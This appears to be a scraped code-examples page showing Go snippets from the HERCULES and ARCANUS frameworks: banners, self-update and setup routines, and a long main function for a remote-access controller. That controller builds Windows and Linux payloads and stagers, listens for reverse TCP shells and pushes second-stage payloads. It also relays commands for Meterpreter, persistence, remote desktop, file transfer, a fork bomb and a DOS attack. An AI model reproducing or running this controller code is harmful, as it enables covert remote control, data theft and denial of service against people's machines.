Exemple #1
0
func PrintCredit() {
	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	color.Green("\n+ -- --=[      HERCULES FRAMEWORK           ]")
	color.Green("+ -- --=[         Version: " + VERSION + "            ]")
	BoldGreen.Println("+ -- --=[            Ege Balcı              ]")
}
Exemple #2
0
func BANNER() {
	if runtime.GOOS == "windows" {
		color.Red("            ___  ______  _____   ___   _   _ _   _ _____ ")
		color.Red("           / _ \\ | ___ \\/  __ \\ / _ \\ | \\ | | | | /  ___|")
		color.Red("          / /_\\ \\| |_/ /| /  \\// /_\\ \\|  \\| | | | \\ `--. ")
		color.Red("          |  _  ||    / | |    |  _  || . ` | | | |`--. \\")
		color.Red("          | | | || |\\ \\ | \\__/\\| | | || |\\  | |_| /\\__/ /")
		color.Red("          \\_| |_/\\_| \\_| \\____/\\_| |_/\\_| \\_/\\___/\\____/ ")
		color.Green("\n\n+ -- --=[      ARCANUS FRAMEWORK                  ]")
		color.Green("+ -- --=[ Version: " + VERSION + "                         ]")
		color.Green("+ -- --=[ Support: [email protected]     ]")
		color.Green("+ -- --=[          Created By Ege Balcı           ]")
	} else if runtime.GOOS == "linux" {
		color.Red("           _______  _______  _______  _______  _                 _______ ")
		color.Red("          (  ___  )(  ____ )(  ____ \\(  ___  )( (    /||\\     /|(  ____ \\")
		color.Red("          | (   ) || (    )|| (    \\/| (   ) ||  \\  ( || )   ( || (    \\/")
		color.Red("          | (___) || (____)|| |      | (___) ||   \\ | || |   | || (_____ ")
		color.Red("          |  ___  ||     __)| |      |  ___  || (\\ \\) || |   | |(_____  )")
		color.Red("          | (   ) || (\\ (   | |      | (   ) || | \\   || |   | |      ) |")
		color.Red("          | )   ( || ) \\ \\__| (____/\\| )   ( || )  \\  || (___) |/\\____) |")
		color.Red("          |/     \\||/   \\__/(_______/|/     \\||/    )_)(_______)\\_______)")

		color.Green("\n\n+ -- --=[      ARCANUS FRAMEWORK                  ]")
		color.Green("+ -- --=[ Version: " + VERSION + "                         ]")
		color.Green("+ -- --=[ Support: [email protected]     ]")
		color.Green("+ -- --=[          Created By Ege Balcı           ]")

	}
}
Exemple #3
0
func DOWNLOAD_VIA_TCP() {
	file_name := strings.Split(GLOBAL__Command, "\"")
	color.Yellow("\n\n[*] Downloading " + string(file_name[1]))
	ln, _ := net.Listen("tcp", ":55888")
	connect, _ := ln.Accept()
	file, _ := os.Create(file_name[1])
	defer file.Close()
	io.Copy(file, connect)
	file.Close()
	connect.Close()
	color.Green("\n[+] File download completed !")
	fmt.Print("\n")
	fmt.Print("\n")
	fmt.Print(string(SysGuide[0]) + ">")
}
Exemple #4
0
func UPLOAD_VIA_TCP() {
	ln, _ := net.Listen("tcp", ":55888")
	connect, _ := ln.Accept()
	file_name := strings.Split(GLOBAL__Command, "\"")
	file, err := os.Open(file_name[1])
	if err != nil {
		color.Red("Eror while opening file !")
		fmt.Println(err)
	}
	defer file.Close()
	io.Copy(connect, file)
	color.Green("\n\n[+] File transfer completed !")
	fmt.Print("\n")
	fmt.Print("\n")
	fmt.Print(string(SysGuide[0]) + ">")
	connect.Close()
}
Exemple #5
0
func main() {

	Repo := []string{"https://github.com/EgeBalci/HERCULES/blob/master/SOURCE/HERCULES.go", "https://github.com/EgeBalci/HERCULES/raw/master/HERCULES_x64", "https://github.com/EgeBalci/HERCULES/raw/master/HERCULES_x86", "https://github.com/EgeBalci/HERCULES/raw/master/README.md"}

	exec.Command("sh", "-c", "zenity --info --text=\"HERCULES Update Started... \"").Run()
	exec.Command("sh", "-c", "rm  -r SOURCE").Run()
	exec.Command("sh", "-c", "rm  -r STATISTICS").Run()
	exec.Command("sh", "-c", "rm HERCULES_x64").Run()
	exec.Command("sh", "-c", "rm HERCULES_x86").Run()
	color.Blue("[*] Updating HERCULES...\n\n")
	for i := 0; i < len(Repo); i++ {
		response, _ := http.Get(Repo[i])
		defer response.Body.Close()
		body, _ := ioutil.ReadAll(response.Body)

		Name := strings.Split(Repo[i], "/")
		color.Green("#	" + string(Name[(len(Name)-1)]) + "		[OK]")
		File, _ := os.Create(string(Name[(len(Name) - 1)]))

		File.WriteString(string(body))
	}
	exec.Command("sh", "-c", "zenity --info --text=\"HERCULES Update completed !\"").Run()

}
Exemple #6
0
func main() {

	CLEAR_SCREEN()
	BANNER()
	MAIN_MENU()
	fmt.Scan(&Menu_Selector) // Main Menu

	for {
		if Menu_Selector == 1 {
			CLEAR_SCREEN()
			BANNER()
			PAYLOAD_MENU()
			fmt.Scan(&Menu_Selector) // Payload Menu
			if Menu_Selector == 1 {
				Payload.Type = "Windows"
			} else if Menu_Selector == 2 {
				Payload.Type = "Linux"
			} else if Menu_Selector == 3 {
				Payload.Type = "Stager_Windows"
			} else if Menu_Selector == 4 {
				Payload.Type = "Stager_Linux"
			}
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Listen_Port)
			if Payload.Type == "Stager_Windows" {
				GENERATE_WINDOWS_PAYLOAD()
			} else if Payload.Type == "Stager_Linux" {
				GENERATE_LINUX_PAYLOAD()
			}
			CLEAR_SCREEN()
			BANNER()
			color.Yellow("\n[*] Port:" + string(Listen_Port))
			break
		} else if Menu_Selector == 2 {
			Payload.Type = "Windows"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_WINDOWS_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 3 {
			Payload.Type = "Linux"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_LINUX_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 4 {
			Payload.Type = "Stager_Windows"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_WINDOWS_STAGER_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 5 {
			Payload.Type = "Stager_Linux"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_LINUX_STAGER_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 6 {
			response, err := http.Get("https://raw.githubusercontent.com/EgeBalci/ARCANUS/master/SOURCE/ARCANUS.go")
			if err != nil {
				color.Red("\n[!] Update Connection Failed !")
				fmt.Println(err)
			}
			defer response.Body.Close()
			body, _ := ioutil.ReadAll(response.Body)
			if strings.Contains(string(body), string(VERSION)) {
				color.Green("\n[+] Arcanus Version Up To Date !")
				time.Sleep(2 * time.Second)
				main()
			} else {
				color.Blue("\n[*] New Version Detected !")
				var Choice string = "N"
				color.Blue("\n[?] Do You Want To Update ? (Y/N) : ")
				fmt.Print("\n\n>>")
				fmt.Scan(&Choice)
				if Choice == "Y" || Choice == "y" {
					if runtime.GOOS == "windows" {
						color.Yellow("\n[*] Updating ARCANUS...")
						exec.Command("cmd", "/C", "Update.exe").Start()
						os.Exit(1)
					} else if runtime.GOOS == "linux" {
						color.Yellow("\n[*] Updating ARCANUS...")
						Update, _ := os.Create("Update.sh")

						Update.WriteString("chmod 777 Update\n./Update")
						Update.Close()
						exec.Command("sh", "-c", "chmod 777 Update && ./Update.sh").Run()
						exec.Command("sh", "-c", "./Update.sh").Run()
						exec.Command("sh", "-c", "rm Update.sh").Run()
						os.Exit(1)
					}
				} else if Choice == "N" || Choice == "n" {
					main()
				} else {
					color.Blue("\n[?] Do You Want To Update ? (Y/N) : ")
					fmt.Scan(&Choice)
					fmt.Print("\n\n>>")
				}
			}
		} else {
			main()
		}
	}

	if Payload.Type == "Stager_Windows" || Payload.Type == "Stager_Linux" {
		color.Yellow("\n[*] Listening For Reverse TCP Stager Shell...")
		ln, _ := net.Listen("tcp", ":"+Listen_Port)
		connect, _ := ln.Accept()
		color.Green("[+] Connection Established !")
		file, err := os.Open("Payload.exe")
		if err != nil {
			color.Red("\n[-] Eror while accesing Payload.exe !")
			color.Red("\n[*] Put second stage payload on same directory with ARCANUS and rename it \"Payload.exe\" ")
		}
		color.Yellow("[*] Sending Second Stage Payload...")
		io.Copy(connect, file)
		color.Green("[+] Payload transfer completed !")
		color.Yellow("[*] Executeing Second Stage Payload...")
		runtime.GC()
	}

	color.Yellow("\n[*] Listening For Reverse TCP Shell...")
	ln, _ := net.Listen("tcp", ":"+Listen_Port)
	connect, err := ln.Accept()
	if err != nil {
		fmt.Println(err)
	}
	reader := bufio.NewReader(os.Stdin)
	var SysInfo = make([]byte, BUFFER_SIZE)
	fmt.Print("\x07") // Connection Launched !
	color.Green("\n[+] Connection Established !\n")
	connect.Read([]byte(SysInfo))
	SysGuide = strings.Split(string(SysInfo), "£>")
	color.Green("\n[+] Remote Address -> ", connect.RemoteAddr())

	color.Green(string(("\n\n[+] OS Version Captured" + SysGuide[1])))

	if Payload.Type == "Linux" || Payload.Type == "Stager_Linux" {
		for {
			runtime.GC()
			fmt.Print("\n")
			fmt.Print("\n")
			fmt.Print(string(SysGuide[0]) + ">")
			Command, _ := reader.ReadString('\n')
			_Command := string(Command)
			GLOBAL__Command = _Command
			runtime.GC()
			var cmd_out []byte
			connect.Write([]byte(Command))
			go connect.Read([]byte(cmd_out))
			fmt.Println(string(cmd_out))
		}
	}

	for {

		var cmd_out = make([]byte, BUFFER_SIZE)
		runtime.GC()
		fmt.Print("\n")
		fmt.Print("\n")
		fmt.Print(string(SysGuide[0]) + ">")
		Command, _ := reader.ReadString('\n')
		_Command := string(Command)
		GLOBAL__Command = _Command

		if strings.Contains(_Command, "£METERPRETER") || strings.Contains(_Command, "£meterpreter") {
			color.Green("\n[*] Meterpreter Code Send !")
			connect.Write([]byte(Command))
		} else if strings.Contains(_Command, "£desktop") || strings.Contains(_Command, "£DESKTOP") {
			if Payload.Type == "Windows" || Payload.Type == "Stager_Windows" {
				connect.Write([]byte(Command))
				connect.Read([]byte(cmd_out))
				Command_Output := strings.Split(string(cmd_out), "£>")
				if strings.Contains(string(Command_Output[0]), "failed") {
					color.Red("\n[-] Remote desktop connection failed ! (Acces denied, The requested operation requires Administration elavation.) ")
				} else {
					color.Green("\n[+] Remote desktop connection configurations succesfull !.")
					color.Green("\n >>> Remote Address >>> ", connect.RemoteAddr())
					if runtime.GOOS == "windows" {
						exec.Command("cmd", "/C", "mstsc").Run()
					}
				}
			} else {
				color.Red("\n[-] This payload type does not support \"REMOTE DESKTOP\" module !")
			}
		} else if strings.Contains(_Command, "£persistence") || strings.Contains(_Command, "£PERSISTENCE") {
			connect.Write([]byte(GLOBAL__Command))
		} else if strings.Contains(_Command, "£help") || strings.Contains(_Command, "£HELP") {
			if runtime.GOOS == "windows" {
				HELP_SCREEN_WIN()
			} else if runtime.GOOS == "linux" {
				HELP_SCREEN_LINUX()
			}
		} else if strings.Contains(_Command, "£upload -f") || strings.Contains(_Command, "£UPLOAD -F") {
			connect.Write([]byte(_Command))
			file_name := strings.Split(GLOBAL__Command, "\"")
			color.Yellow("\n[*] Uploading ---> " + file_name[1])
			go UPLOAD_VIA_TCP()
		} else if strings.Contains(_Command, "£download") || strings.Contains(_Command, "£DOWNLOAD") {
			connect.Write([]byte(Command))
			go DOWNLOAD_VIA_TCP()
		} else if strings.Contains(_Command, "£DISTRACT") || strings.Contains(_Command, "£distract") {
			connect.Write([]byte(Command))
			color.Yellow("\n[*] Preparing fork bomb...")
			color.Green("\n[+] Distraction Started !")
		} else if strings.Contains(_Command, "£DOS") || strings.Contains(_Command, "£dos") {
			DOS_Target := strings.Split(GLOBAL__Command, "\"")
			if strings.Contains(DOS_Target[1], "http//") || strings.Contains(DOS_Target[1], "https//") {
				connect.Write([]byte(Command))
				color.Yellow("\n[*] Starting DOS Atack to --> " + DOS_Target[1])
				color.Green("\n[+] DOS Atack Started !")
				color.Green("\n[+] Sending 1000 GET request to target...")
			} else {
				color.Red("\n[-] ERROR: Invalid URL type !")
			}
		} else {
			connect.Write([]byte(Command))
			for {
				connect.Read([]byte(cmd_out))
				if !strings.Contains(string(cmd_out), "£>") {
					fmt.Println(string(cmd_out))
				} else {
					Command_Output := strings.Split(string(cmd_out), "£>")
					fmt.Println(string(Command_Output[0]))
					break
				}
			}
		}
	}
}
Exemple #7
0
func main() {

	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	Yellow := color.New(color.FgYellow)
	BoldYellow := Yellow.Add(color.Bold)
	Red := color.New(color.FgRed)
	BoldRed := Red.Add(color.Bold)
	White := color.New(color.FgWhite)
	BoldWhite := White.Add(color.Bold)

	color.Red(" ██░ ██ ▓█████  ██▀███   ▄████▄   █    ██  ██▓    ▓█████   ██████ ")
	color.Red("▓██░ ██▒▓█   ▀ ▓██ ▒ ██▒▒██▀ ▀█   ██  ▓██▒▓██▒    ▓█   ▀ ▒██    ▒ ")
	color.Red("▒██▀▀██░▒███   ▓██ ░▄█ ▒▒▓█    ▄ ▓██  ▒██░▒██░    ▒███   ░ ▓██▄   ")
	color.Red("░▓█ ░██ ▒▓█  ▄ ▒██▀▀█▄  ▒▓▓▄ ▄██▒▓▓█  ░██░▒██░    ▒▓█  ▄   ▒   ██▒")
	color.Red("░▓█▒░██▓░▒████▒░██▓ ▒██▒▒ ▓███▀ ░▒▒█████▓ ░██████▒░▒████▒▒██████▒▒")
	color.Red(" ▒ ░░▒░▒░░ ▒░ ░░ ▒▓ ░▒▓░░ ░▒ ▒  ░░▒▓▒ ▒ ▒ ░ ▒░▓  ░░░ ▒░ ░▒ ▒▓▒ ▒ ░")
	color.Red(" ▒ ░▒░ ░ ░ ░  ░  ░▒ ░ ▒░  ░  ▒   ░░▒░ ░ ░ ░ ░ ▒  ░ ░ ░  ░░ ░▒  ░ ░")
	color.Red(" ░  ░░ ░   ░     ░░   ░ ░         ░░░ ░ ░   ░ ░      ░   ░  ░  ░  ")
	color.Red(" ░  ░  ░   ░  ░   ░     ░ ░         ░         ░  ░   ░  ░      ░  ")
	color.Red("                        ░                                         ")

	color.Green("\n+ -- --=[      HERCULES FRAMEWORK           ]")
	BoldGreen.Println("+ -- --=[            Ege Balcı              ]")

	BoldWhite.Println("\n\n[*] STARTING HERCULES SETUP \n")

	BoldYellow.Println("[*] Detecting OS...")

	if runtime.GOOS == "linux" {
		OsVersion, _ := exec.Command("sh", "-c", "uname -a").Output()
		BoldYellow.Println("[*] OS Detected : " + string(OsVersion))
		BoldYellow.Println("[*] Installing golang...")
		Go := exec.Command("sh", "-c", "apt-get install golang")
		Go.Stdout = os.Stdout
		Go.Stdin = os.Stdin
		Go.Run()
		BoldYellow.Println("[*] Installing upx...")
		UPX := exec.Command("sh", "-c", "apt-get install upx")
		UPX.Stdout = os.Stdout
		UPX.Stdin = os.Stdin
		UPX.Run()
		BoldYellow.Println("[*] Installing openssl...")
		OSSL := exec.Command("sh", "-c", "apt-get install openssl")
		OSSL.Stdout = os.Stdout
		OSSL.Stdin = os.Stdin
		OSSL.Run()
		BoldYellow.Println("[*] Installing git...")
		Git := exec.Command("sh", "-c", "apt-get install git")
		Git.Stdout = os.Stdout
		Git.Stdin = os.Stdin
		Git.Run()

		BoldYellow.Println("[*] Cloning EGESPLOIT Library...")
		exec.Command("sh", "-c", "git clone https://github.com/EgeBalci/EGESPLOIT.git").Run()
		exec.Command("sh", "-c", "cp EGESPLOIT /usr/lib/go-1.6/src/").Run()
		exec.Command("sh", "-c", "mv EGESPLOIT /usr/lib/go/src/").Run()

		BoldYellow.Println("[*] Cloning color Library...")
		exec.Command("sh", "-c", "git clone https://github.com/fatih/color.git").Run()
		exec.Command("sh", "-c", "cp color /usr/lib/go-1.6/src/").Run()
		exec.Command("sh", "-c", "mv color /usr/lib/go/src/").Run() // /usr/lib/go-1.6/src/

		Stat, Err := CheckValid()

		if Stat == false {
			BoldYellow.Println("\n")
			BoldRed.Println(Err)
		} else {
			BoldGreen.Println("\n\n[+] Setup completed successfully")
		}

	} else if runtime.GOOS != "linux" {
		BoldRed.Println("[!] ERROR : HERCULES+ only supports linux distributions")
	}

}